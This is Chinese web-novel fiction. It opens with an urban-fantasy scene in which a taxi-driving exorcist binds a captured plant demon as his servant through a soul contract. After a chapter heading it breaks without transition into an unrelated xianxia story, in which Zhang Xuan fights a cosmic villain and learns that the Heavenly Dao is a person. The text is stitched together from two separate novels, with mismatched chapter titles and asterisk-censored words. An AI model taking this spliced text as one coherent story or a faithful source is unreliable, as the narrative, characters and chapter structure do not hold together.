‘这个黑鼠尾草魔,本质
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是一株成了精的植物,虽然走了邪道,但跟海魔那种由海洋怨气凝聚的凶物还是不一样。把她交给岚婆,估计也换不了多少阴德,毕竟也不算稀罕。不过……’
他的目光扫过魔化庄芷若那副可以随意变幻的皮囊,以及她擅长迷惑心智的能力。
‘这家伙的幻化和魅惑能力倒是有点用处。以后出车办事,有个能变化外形、打探消息的助手,确实能省不少麻烦。而且,她显然对怪谈协会的内部情况有所了解,留在身边,或许还能挖出更多关于那个组织的线索。’
一个废物利用的想法在古德脑中形成。
接着,古德漫不经心地,问了一个让所有人都意想不到的问题:“喂,你身上……有没有港币?”
这个问题太过突兀,以至于魔化庄芷若都愣住了,一时间没反应过来。
她眨了眨眼睛,迷惑地看着古德,完全搞不懂这位法力高深的大师为什么会突然问起钱的事情。
但她还是下意识地回答道:“啊?港……港币?有,有的。我……我在人间活动这么多年,也……也积攒了一些钱财。”
她心里甚至升起一丝侥幸的期待:
‘难道这位古大师贪财?如果能用钱买命,那真是再好不过了!’
她连忙补充道,语气带着讨好:
“古大师,您需要多少?只要您开口,数字不是问题!只求您能放我一马!”
然而,古德接下来的话,却让她以及旁边竖着耳朵听的谢潮、周星星等人都差点闪了腰。
第210章 收下一个助手
只见古德用一种看傻子一样的眼神看着她,语气带着几分嫌弃地说道:
“放过你?谁说要放过你了?我的意思是,以后你就是我的人了,跟着**活。不过虽然成了我的人,但是坐我的出租车,还是要付车费。问你有没有港币,是提醒你以后记得准备零钱,别想坐霸王车。”
就是不知道这精怪做出租车,是按鬼算,还是按人算,稍后需要了解一下!
“噗……”
一旁的周星星第一个没忍住,笑喷了出来,赶紧用手捂住嘴,肩膀一耸一耸的。
谢潮也是哭笑不得地摇了摇头,低声对于子朗嘀咕道:
“果然还是阿德,这规矩立的……真是任何时候都不忘本职工作的。”
高彦博嘴角抽动,勉强维持着严肃的表情。
于子朗则是一脸“果然如此”的表情,仿佛对古德这种跳脱的思维早已习惯。
魔化庄芷若更是彻底懵了,张着嘴,半天合不拢。
她脑子里预想了无数种可能,勒索、敲诈、甚至是更苛刻的条件,却万万没想到,对方关心的是……以后坐车要不要付钱?
这思维的跳跃程度,让她这个以迷惑人心为能的魔头都感到匪夷所思。
古德却没理会众人的反应,脸色一正,语气变得严肃起来:
“好了,闲话少说。如果你选择留下,那就要按我的规矩来。”
他一边说着,一边从随身携带的帆布挎包里,取出了一张看起来非常古老的纸张。
这纸张颜色暗黄,质地奇特,非布非纸,上面用某种暗红色的、仿佛干涸血液书写的文字,勾勒出复杂而诡异的图案和条款,散发出一种阴森、不祥的气息。
这正是古德之前从岚婆那里换来的【幽冥契约】,俗称“冥契”。
自从上次处理完海魔萨拉莎的事情后,古德就在思考,如果以后遇到需要收服而非直接消灭的妖魔,该如何确保绝对的控制,防止反噬。
咨询岚婆后,岚婆便给了他这张冥契。
据岚婆说,此契以幽冥规则为凭,一旦签订,签约者的生死荣辱便完全由持契者掌控,几乎无法违背,是控制邪祟的终极手段之一。
“放开你的心神防御,不得有任何抵抗。”
古德命令道,同时,他左手掐诀,指尖凝聚起一点精纯的法力光芒,准备在黑鼠尾草魔放开心神守护后,在其灵魂本源中种下主仆烙印。
而右手,则拿着那张散发着不祥气息的冥契。
看到古德这“双管齐下”的架势,魔化庄芷若的脸色瞬间变得惨白。
她能清晰地感受到那张古老契约上蕴含的、足以彻底束缚她永恒自由的恐怖规则之力,以及古德指尖那令人灵魂战栗的掌控意图。
绝望的情绪如同冰水般浇遍了她的全身。
这意味着,一旦答应,她将彻底失去自由,永远沦为对方的奴仆。
古德冷冷地看着她,声音不带丝毫感情:
“这是我给你的最后机会。签,则生,为我效力。不签,我现在就送你下地府,让你去和你的‘前辈’作伴。选择权在你,我不强迫。”
他的话如同最后的通牒,敲打在黑鼠尾草魔的心头。
她深知,在绝对的实力差距面前,任何挣扎都是徒劳。
去地府,对她这种精怪来说,几乎是形神俱灭的开端。
而留下,虽然失去自由,但至少……还能存在下去,而且这位古大师看起来虽然规矩怪了点,但似乎并非嗜杀残忍之辈。
内心的恐惧和对消亡的抗拒最终战胜了一切。
她艰难地抬起
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头,看着古德,眼中充满了复杂的神色,有恐惧,有不甘,但也有一丝认命般的解脱。她
深吸一口气,仿佛用尽了全身的力气,缓缓地,点了点头。
“我……我愿意。”
她的声音有些沙哑,但带着一种下定决心的平静,“我愿意放开心神,接受您的烙印,并签下这份契约。从今往后……一切听从主人吩咐。”
说完,她缓缓闭上了眼睛,彻底放弃了所有的心神抵抗,将自己的灵魂本源,毫无保留地展现在古德面前。
同时,她伸出了一根手指,指尖逼出一滴墨绿色的、蕴含着她本命精元的汁液,颤巍巍地伸向那张悬浮在空中的冥契。
古德见状,不再犹豫。
左手剑指疾点而出,那点法力光芒瞬间没入魔化庄芷若的眉心。
她身体微微一颤,感受到一个强大的、无法磨灭的印记深深地烙在了她的灵魂深处。
与此同时,她的指尖也触碰到了冥契,那滴本命精元迅速被契约吸收,暗红色的文字骤然亮起,然后缓缓隐去,意味着契约正式成立。
光芒散去,魔化庄芷若缓缓睁开眼,看向古德的眼神中,已经多了一丝无法违逆的敬畏与顺从。
她微微躬身,低声道:“主人。”
古德点了点头,随手将冥契收起。
头顶那巨大的虚无八卦也缓缓消散,周围的威压顿时一轻。
“好了,以后你就叫……阿草吧。暂时跟着我。”
古德随意地给她起了个名字,然后对谢潮等人说道,“这边事情暂时了结,收拾一下,准备撤了。阿潮,联系下你们总部,嘉禾大厦十一楼那个贸易公司,重点监控起来。”
“来而不往非礼也,今天回去休整休整,明天我们再上门拜访.....”
第211章 趁机敲打她一下
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们**,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以**……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具
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体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,**开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
